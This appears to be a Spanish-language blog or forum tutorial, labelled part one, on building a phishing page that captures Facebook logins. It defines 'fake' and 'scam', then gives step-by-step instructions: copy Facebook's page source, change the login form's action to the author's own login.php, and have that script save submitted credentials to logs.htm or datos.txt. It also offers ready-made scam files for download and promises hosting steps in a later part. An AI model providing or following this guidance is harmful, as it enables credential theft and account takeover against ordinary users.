Hack Hotmail, Facebook, Fotolog... ? Parte I

Hablar de Hackear Hotmail, Facebook, Fotolog, Rapidshare o cualquier otra cuenta de Usuario puede sonar muy "Llamativo" pero en realidad debería llamarse algo así como "Engañar" mas que Hackear o simplemente "PHISHING"

Pensaba que este tema era Ultra-Conocido en estos tiempos y que nadie caía ya,como años atrás lo fueron los famosos "Xploit" de las Postales o Tarjetas ¿Las Recuerdan?,bueno me doy cuenta a través del Foro donde participo que esto no es tan así,que aun existe mucho desconocimiento sobre el tema y que aun hay mucha gente que quiere aprender a crear estos Fakes o Scams y como enviarlos,donde se alojan,como funcionan ,etc

Comencemos explicando que es un Fake o Scam :

Fake segun Wikipedia "Fake ('falso' en inglés) se refiere en terminología usada en Internet y en especial entre los usuarios de programas de descargas (como los P2P), para referirse generalmente a un archivo o un servidor falso, que no es lo que aparenta."

Scam según Wikipedia "Se denomina scam (estafa en inglés) a un correo electrónico fraudulento (o páginas web fraudulentas) que pretende estafar económicamente por medio del engaño, generalmente presentado como donación a recibir, lotería o premio al que se accede previo envío de dinero." En este caso el engaño no es económico.

Como se puede crear un Fake o Scam?

De varias maneras,una de ellas es editando el Código Fuente.

Método I

Ingresamos al sitio que nos interesa,en este ejemplo veremos Facebook.com y copiamos su Código Fuente.( Mozilla : Ver - Código Fuente ) Al tener el Código Fuente en nuestro poder vamos a buscar el <form ,esto es importante porque aquí es donde cambiamos el envío de datos.La linea original es mas o menos así .

<form method="POST" action="https://login.facebook.com/login.php?login_attempt=1" name="menubar_login" id="menubar_login">

como ven la acción de este es que cuando ingresemos nuestros datos nos mande a http://www.facebook.com/login.php ,pero nosotros vamos a cambiarlo por nuestro propio archivo .php, borramos lo que esta en Rojo

<form method="POST" action="https://login.facebook.com/login.php?login_attempt=1" name="menubar_login" id="menubar_login">

y en su lugar ponemos "login.php" que es nuestro propio archivo.Veamos como es nuestro .php :Ver Aquí

Cambiados estos datos Guardamos el Código Fuente como index.html

Si se fijan en el login.php el fopen hace referencia a "logs.htm" que quiere decir esto, que los datos estarán en ese apartado, es decir http://TuScam.com/logs.htm ,esto puede cambiarse también por un Archivo de texto, en vez de que fopen envie a "logs.htm" le indicamos que los datos se vallan a "datos.txt" ,para hacerlo efectivo solo debemos incluir un documento de texto vacío llamado "datos.txt" junto al index.htm y login.php.

Ahora que tenemos nuestros tres archivos editados y listos para usarlos cual es el siguiente paso ,Subirlos a algún Hosting.

Esto lo veremos en la Parte II. saludos

Aquí les dejo los Archivos ya editados del Scam de Facebook

Descarga